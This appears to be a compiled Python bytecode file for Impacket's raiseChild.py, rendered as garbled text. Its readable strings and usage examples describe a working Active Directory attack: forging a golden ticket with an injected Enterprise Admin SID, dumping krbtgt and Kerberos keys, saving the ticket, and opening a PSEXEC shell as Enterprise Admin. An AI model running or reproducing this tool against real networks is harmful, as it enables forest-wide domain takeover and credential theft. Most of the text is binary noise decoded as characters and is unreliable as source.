zRAISECHILD.getCredentialsc              	   C   s:   dD ]\}}|  |¡rtd| ||||  d¡f ƒ qd S )N))rÉ  zaes256-cts-hmac-sha1-96s)rÈ  zaes128-cts-hmac-sha1-96sz%s/%s:%s:%súutf-8)Úgetr  rþ   )r±  Ú
targetUserrÚ   ÚkeyNameÚlabelrW   rW   rX   Ú_printKerberosKeys‹  s
   
€üzRAISECHILD._printKerberosKeysc           #   
   C   s>  t j| tƒ d�d }|d d d }t|d d d  }	t|	j||d�}
zt|	j|||d�}W n tyA } ztt	|ƒƒ‚d }~ww |	 
|d	|¡}t j|tƒ d�d }tj tjj¡tjd
d� }t |¡|d< t |¡|d< t j|d d d tƒ d�d }t|d d  ¡ ƒ}|d }i }t|d ƒD ]&}t|ƒ}|d |d d d … d |d … }|||d < |t|ƒd … }q•t|v �r™|t }tƒ }| |t ¡ t| ¡ ƒ}| ||¡ t ¡ j tj!krðt "d¡ | #¡  t$dƒ d}t%ƒ |d d< t|ƒ|d d< |D ]"}t&ƒ }t'ƒ }||d< ||d< t(t)B t*B |d< |d d  +|¡ �q|d d dk�r@|d d  d O  < t,ƒ |d d!< |d d  d"7  < t-ƒ }t.ƒ }| /|¡ ||d#< t(t)B t*B |d< |d d!  +|¡ | ¡ | 0¡  }d$t|ƒd% d d t|ƒ  } t ¡ j tj!k�r˜t "d&¡ | #¡  t$dƒ nt1d'ƒ‚t2|v�r¦t1d(ƒ‚||t< t3||
|d)d*�}t4ƒ }!t5|!d< t6t7j8j9j:ƒ|!d d+< | ¡ |!d d< t; <|!¡}!|!|d d d< t; <|¡}"t|d d d  }	zt|	j|||d�}W n t�y } ztt	|ƒƒ‚d }~ww |	 =|d	|"d ¡}||d d d< t; <|¡||fS ),N)Úasn1Specr   Úticketzenc-partÚcipherÚetype)Ú
aes128_keyÚ
aes256_key)Únt_hashrA  rB  rÇ   iB  )ÚdaysÚendtimez
renew-tillzauthorization-datazad-dataÚBuffersÚcBuffersÚOffsetr�   ÚcbBufferSizeÚulTypez%VALIDATION_INFO before making it goldÚ
)i  i   i  i  i  ÚDataÚGroupIdsÚ
GroupCountÚ
RelativeIdÚ
AttributesÚSidCountÚ	UserFlagsé    Ú	ExtraSidsr   r  r–  é   z$VALIDATION_INFO after making it goldz"PAC_LOGON_INFO not found! Abortingz(PAC_CLIENT_INFO_TYPE not found! AbortingT)Úaes_keyrC  Úinfer_aes_signature_typezad-type)>r    rþ   r   r   r   Úenctyper   Ú
ValueErrorr`   rˆ   Údecryptr   ÚdatetimeÚnowÚtimezoneÚutcÚ	timedeltar   Úto_asn1r   r9   ÚasOctetsr�   r6   r¬   r7   r;   rª  rŸ   ÚfromStringReferentsr†   r«  r¬  r­  r±   Údumpr  r}  r   r   r   r   r   r~  r:   r5   r(   ÚfromCanonicalÚgetDataReferentsr…   r8   r<   r   r"   rÜ  r   ÚAuthorizationDataTypeÚAD_WIN2K_PACrß  r!   r.  Úencrypt)#ÚtgtÚoriginalCipherÚ
sessionKeyÚntHashÚextraSidrÈ  rÉ  ÚasRepÚ
cipherTextr?  ÚticketAesKeyÚkeyr·   rã  ÚencTicketPartÚtenYearsFromNowÚadIfRelevantÚpacTypeÚbuffersÚpacInfosÚnBufÚ
infoBufferr1  ÚvalidationInfoÚlenValÚgroupsÚgroupÚgroupMembershipÚgroupIdÚ	sidRecordÚsidÚvalidationInfoBlobÚvalidationInfoAlignmentÚauthorizationDataÚencodedEncTicketPartrW   rW   rX   Ú
makeGolden“  sº   
ü€ÿ $


 
€



ü€ÿzRAISECHILD.makeGoldenc                 C   s(   | d rt | d ƒt| d ƒd dœS d S )Nr6  ©r7  r8  rï   r%   )Ú
childCredsrW   rW   rX   Ú_get_rc4_retry_cred"  s   

ýzRAISECHILD._get_rc4_retry_credc                 C   s   |   d¡p	|   d¡S )NrÉ  rÈ  )r8  )ra  rW   rW   rX   Ú_get_preferred_aes_key-  s   z!RAISECHILD._get_preferred_aes_keyc                 C   s    | d |d ko| d |d kS )Nr7  r8  rW   )Ú	leftCredsÚ
rightCredsrW   rW   rX   Ú_same_rc4_creds1  s    zRAISECHILD._same_rc4_credsc                 C   s  t  d||f ¡ |  ||| j¡\}}t  d||f ¡ d}t  d| ¡ |  |||¡\}}td||||d  d¡|d  d¡f ƒ |  |||¡ t|d	 t	j
jjd
�}	i }
i }g }d }|d rn| ddd|d dœf¡ |d rƒ|d |d d dœ}| d|f¡ |d r¬| dddd dœf¡ |  |¡}|d ur¬|d u s¥|  ||¡s¬| d|f¡ |s²tdƒ‚|D �]6\}}z)t  d| ¡ t|	|d |d |d |d |d | jƒ\}}}}t  d| ¡ W n. t�y } z!| ¡ t	jjjt	jjjfv �rt  d|| ¡ f ¡ W Y d }~q´‚ d }~ww z| j||||d |d | d¡| d¡d�\}}}W n t�yH } zt  d||f ¡ W Y d }~q´d }~ww ||
d< ||
d< ||
d< ||
d < | jd u �rptd!|  t|ƒ¡ t	j
jjd
�}ntd!| j t	j
jjd
�}zAt   d"| ¡ td#|j!|f ƒ td$| ƒ t"||d | j|||ƒ\}}}}||
d< ||
d < ||d< ||d< ||d< ||d < W  n2 t�yë } z!| ¡ t	jj#jt	jjjfv �ræt  d%|| ¡ f ¡ W Y d }~q´‚ d }~ww td&ƒ‚t  d| ¡ d}|
|d'< |  |||¡\}}td||||d  d¡|d  d¡f ƒ |  |||¡ t  d(| ¡ |  |||¡\}}td||||d  d¡|d  d¡f ƒ |  |||¡ i }||d	< d|d< ||d< |d |d< |d |d< | d¡|d< | d¡|d< |  $|¡|d< d |d'< d |d)< ||
|fS )*NzRaising %s to %sz"%s Enterprise Admin SID is: %s-519ÚkrbtgtzGetting credentials for %sz%s/%s:%s:%s:%s:::r7  r7  r8  rm   )Útyperï   ÚAESrx   r‡  ÚRC4r6  r”  zpassword->RC4zNo credentials providedzTrying %s for TGT requestrn   zTGT obtained using %sz*%s failed (error 0x%x), trying next methodz-519rÈ  rÉ  rÇ  z?%s failed while building golden ticket (%s), trying next methodÚKDC_REPr?  ÚoldSessionKeyrk  zcifs/%szGetting TGS for SPN %sz8[*] Golden ticket etype: %s (using %s child credentials)z[*] Requesting TGS for %szQGolden ticket built from %s child credentials rejected (0x%x), trying next methodzFGolden ticket was rejected with all available child credential methodsrð   zTarget User account name is %srp   )%r†   r­   r…  r<  r6  r  rþ   r<  r   r   ÚPrincipalNameTypeÚNT_PRINCIPALrß  r~  r‰  r�  r…   r   r>  r   ÚgetErrorCodeÚ
ErrorCodesÚKDC_ERR_ETYPE_NOSUPPÚKDC_ERR_PREAUTH_FAILEDÚwarningr†  r8  r`   r=  rp  r   ÚNT_SRV_INSTr±   rX  r   ÚKDC_ERR_TGT_REVOKEDrŠ  )rk   Ú	childNamerˆ  Ú
parentNameÚentepriseSidr„  r9  rö  rÚ   r2  rð   rp   ÚcredAttemptsÚexplicitRc4CredÚpasswordRc4CredÚcredTypeÚcredri  r?  r“  rk  r·   ÚgoldenTicketÚgoldenCipherÚgoldenSessionKeyÚ
serverNameÚtgsCIFSÚ
cipherCIFSÚoldSessionKeyCIFSÚsessionKeyCIFSÚtargetCredsrW   rW   rX   ÚraiseUp5  sê   ÿ

þÿ€ú
ý€þÿ
ýÿÿ€ùÿ*
zRAISECHILD.raiseUpc              	   C   s4  | j }|  | j ¡\}}t d| ¡ t d| ¡ |  |||¡\}}}| jd urLt d| j ¡ ddlm} |ƒ }| |d |d |d ¡ | 	| j¡ | j
d ur–t d	| j
 ¡ dd
lm}	 |	d| j
ƒ}
|
j|d d|d |d |d |d dd� | jdkr˜t| j|d |d |
d d ƒ}| | j
¡ d S d S d S )NzRaising child domain %szForest FQDN is: %szSaving golden ticket into %sr   )ÚCCacher’  r“  rk  zOpening PSEXEC shell at %s)rC   rà   rm   rx   rn   r7  r8  rï   F)r
  ÚNone)rG  re  r†   r­   r®  rA  Úimpacket.krb5.ccacher¯  ÚfromTGTÚsaveFiler=  Úimpacket.smbconnectionrC   r  r?  ra   rÅ   )rk   rˆ  r�  Ú
forestNamer­  Ú	parentTGTÚ	parentTGSr¯  ÚccacherC   r¹   ÚexecuterrW   rW   rX   Úexploit´  s.   

ÿ
÷zRAISECHILD.exploit)Nrx   rx   rx   Nrx   rb   rò   )rS   rT   rU   rr   rÕ  rÔ  rÛ  ÚHMAC_SHA1_96_AES256re  Ústaticmethodrp  rI  r…  r¶  r>   r-  ÚDS_DISPLAY_NAMEÚDS_FQDN_1779_NAMEr»  r0  r/  r  r6  r<  r†  r‰  rŠ  r�  r®  rº  rW   rW   rW   rX   r5  Î  sd    
'ú
ú
û

%H

ÿ

>'
.(
 



r5  Ú__main__Tz9Privilege Escalation from a child domain up to its forest)Úadd_helpÚdescriptionrJ  Ústorezdomain/username[:password])ÚactionÚhelpz-tsÚ
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-wr(  zBwrites the golden ticket in CCache format into the <pathname> file)rÃ  ÚmetavarrÄ  z-target-execztarget addresszDTarget host you want to PSEXEC against once the main attack finishedz
-targetRIDÚRIDÚ500zMTarget user RID you want to dump credentials. Administrator (500) by default.)rÃ  rÆ  r/  rÄ  Úauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z
Examples: z0	python raiseChild.py childDomain.net/adminuser
z 	the password will be asked, or
z6	python raiseChild.py childDomain.net/adminuser:mypwd
z%	or if you just have the NTLM hashes
zF	python raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser
zS	or if you have the AES key (recommended for modern Windows Server 2019/2022/2025)
zI	python raiseChild.py -aesKey <hex_aes256_key> childDomain.net/adminuser
zA	or combine both - AES will be tried first, RC4 used as fallback
z_	python raiseChild.py -hashes LMHASH:NTHASH -aesKey <hex_aes256_key> childDomain.net/adminuser
z\	Note: AES keys can be obtained via: impacket-secretsdump -just-dc-user DOMAIN/username ...
zU	This will perform the attack and then psexec against target-exec as Enterprise AdminzH	python raiseChild.py -target-exec targetHost childDomain.net/adminuser
zW	This will perform the attack and then psexec against target-exec as User with RID 1101zX	python raiseChild.py -target-exec targetHost -targetRID 1101 childDomain.net/adminuser
zJ	This will save the final goldenTicket generated in the ccache target filez:	python raiseChild.py -w ccache childDomain.net/adminuser
rx   zDomain should be specified!zcmd.exezhTry using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issuer,  rÊ  Ú
error_codel   s    z%Account not found in domain. (RID:%s))¢Ú
__future__r   r   Úargparser[  r†   ry   r{   r‰   r–   r  rÎ   Ú	threadingr   r   Úbinasciir   r   Úsocketr   Ústructr	   Úsixr
   Úpyasn1ÚImportErrorr‡   rŠ   Úimpacketr   Úimpacket.krb5.typesr   r   Úimpacket.krb5r   Úimpacket.krb5.kerberosv5r   r   r   Úimpacket.krb5.asn1r   r   r   r   Úimpacket.krb5.cryptor   r   r   Úimpacket.dcerpc.v5.ndrr   Úimpacket.dcerpc.v5.samrr   r   r   r   r   Úpyasn1.codec.derr    r!   Úpyasn1.type.univr"   Úimpacket.examplesr#   Úimpacket.examples.utilsr$   Úimpacket.ntlmr&   r'   Úimpacket.dcerpc.v5.dtypesr(   r)   Úimpacket.dcerpc.v5.rpcrtr*   r+   Úimpacket.dcerpc.v5.nrpcr,   r-   Úimpacket.dcerpc.v5.lsatr.   r/   r0   r1   Úimpacket.dcerpc.v5.lsadr2   r3   r4   Úimpacket.krb5.pacr5   r6   r7   r8   r9   r:   r;   r<   Úimpacket.dcerpc.v5r=   r>   r?   r@   r´  rA   Úimpacket.nt_errorsrB   rC   rD   Úimpacket.structurerE   rF   rG   rI   rZ   r§   r¢   rª   rä   r…   r`   ra   r×   r¦   r©   r  r  r¡   r5  rS   r  ÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_groupr}  r¬   ÚargvÚ
print_helpÚ
parse_argsrK  ÚinitÚtsr±   rJ  rH  Úno_passrï   rC  rn   rm   r6  r~   ÚcommandsÚtarget_execÚpacifierrº  r·   rˆ   r–  r­   r^  rÊ  r;  rW   rW   rW   rX   Ú<module>   s  <

ý(
  l	      



(


ÿ€þ€ü½